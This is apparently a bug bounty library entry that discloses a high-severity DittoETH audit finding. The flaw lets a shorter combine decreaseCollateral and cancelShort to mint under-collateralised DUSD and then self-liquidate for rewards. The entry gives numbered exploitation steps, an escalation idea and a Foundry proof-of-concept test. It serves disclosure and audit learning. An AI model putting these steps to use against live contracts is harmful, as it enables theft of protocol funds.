# An attacker can mint free DUSD and liquidate the corresponding Short Record to earn liquidation rewards

Attacker opens a short with CR<1, drains collateral via decreaseCollateral, then cancelShort mints minShortErc DUSD against under-collateralized debt, leaving a liquidatable position.

- Payout: Audit contest
- Severity: high
- Program: DittoETH
- Found by: nonseodion
- Disclosed: 2024-07-29
- Write-up quality: 8/10
- Original: https://github.com/code-423n4/2024-07-dittoeth-findings/issues/2
- Library page: https://bugbountylibrary.com/r/c4%3A2024-07-dittoeth%3AH-04
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:code4rena sev:high tech:evm tech:solidity technique:chained technique:source-review vuln:accounting-error vuln:business-logic vuln:liquidation

**Target:** DittoETH ShortRecordFacet / LibOrders cancelShort
**Root cause:** cancelShort mints debtDiff DUSD and computes collateralDiff using the order's cr; if cr<1 the minted debt is under-collateralized, and decreaseCollateral lets the attacker strip the minShortErc collateral beforehand.
**Steps:**
1. Create a normal Short Order and deposit ETH so the vault has balance.
2. Create a second Short Order with CR=0.7 (`createLimitShort(asset, price, minShortErc, orderHintArray, shortHintArray, 70)`).
3. Fill the first Short Order fully and the CR<1 order with a tiny amount via a bid (`fundLimitBidOpt(price, amount+100000, receiver)`).
4. Call `decreaseCollateral(3, 499999999999999958)` to remove the minShortErc collateral.
5. Call `cancelShort(101)`; LibOrders mints `debtDiff = minShortErc - ercDebt` DUSD to the shorter while only charging `collateralDiff = price*debtDiff*cr`.
6. Observe ercEscrowed profit exceeds ETH spent and SR CR < 150e18, then liquidate for rewards.
**How found:** Code reading of cancelShort: noticed collateralDiff uses `cr` and that minShortErc collateral guarantee assumes the SR still holds it; realized decreaseCollateral could remove it before cancel, breaking the invariant.
**Exploitation:** Attacker supplies minimal ETH, uses decreaseCollateral to strip the minShortErc collateral, then cancelShort mints DUSD at cr<1 so the attacker receives DUSD worth more than the ETH paid; the resulting SR is below liquidation CR and can be self-liquidated for rewards.
**Escalation:** Repeat across orders/assets and self-liquidate the bad-debt SR to collect liquidation rewards on top of the free DUSD.
**Insight:** When a protocol pre-funds an invariant (minShortErc collateral) at order creation, check whether any other function (decreaseCollateral) can withdraw that collateral before the invariant is consumed at cancel/match time.

## Proof of concept (copied exactly from the original report)

**Foundry test minting free DUSD via decreaseCollateral and cancelShort**

```
function test_StealDUSD() public {
        // set default Collateral Ratios
        vm.startPrank(owner);
        diamond.setInitialCR(asset, 170);
        diamond.setLiquidationCR(asset, 150);
        vm.stopPrank();

        initialCR = 170;
        uint80 price = DEFAULT_PRICE;
        uint88 amount = DEFAULT_AMOUNT;
        uint88 minShortErc = 2000 ether;

        // add a normal short order to fill the bid
        fundLimitShortOpt(price, amount, sender);
        // sender has 0 ethEscrowed
        assertEq(diamond.getVaultUserStruct(vault, sender).ethEscrowed, 0);
        depositEth(sender, price.mulU88(minShortErc).mulU88(1.7e18));
        uint initialEth = diamond.getVaultUserStruct(vault, sender).ethEscrowed;
        
        // creates a Short Order with CR = 0.7
        uint16[] memory shortHintArray = setShortHintArray();
        MTypes.OrderHint[] memory orderHintArray = diamond.getHintArray(asset, price, O.LimitShort, 1);
        vm.prank(sender);
        diamond.createLimitShort(asset, price, minShortErc, orderHintArray, shortHintArray, 70);        

        // creates a Bid which completely fills the first Short Order and only fills 
        // 100000 wei in the second WEI
        fundLimitBidOpt(price, amount +  100000, receiver);

        assertEq(diamond.getAssetUserStruct(asset, sender).ercEscrowed, 0);
        vm.startPrank(sender);
        // decreases collateral by 499999999999999958, the collateral added to cover minShortErc is
        // 500000000000000000, but we can't remove everything because the protocol requires us to cover
        // the tiny debt we created
        decreaseCollateral(3, 499999999999999958); 
        cancelShort(101);
        
        uint finalEth = diamond.getVaultUserStruct(vault, sender).ethEscrowed;
        uint ercEscrowed = diamond.getAssetUserStruct(asset, sender).ercEscrowed;
        // profit ~= 0.15 ether ( price.mulU88(ercEscrowed) - initialEth-finalEth )
        assertGt(price.mulU88(ercEscrowed), initialEth-finalEth); 
        // the attacker can also decide to liquidate the position and earn more rewards
        assertLt(diamond.getCollateralRatio(asset, getShortRecord(sender, 3)), 150e18);
    }
```

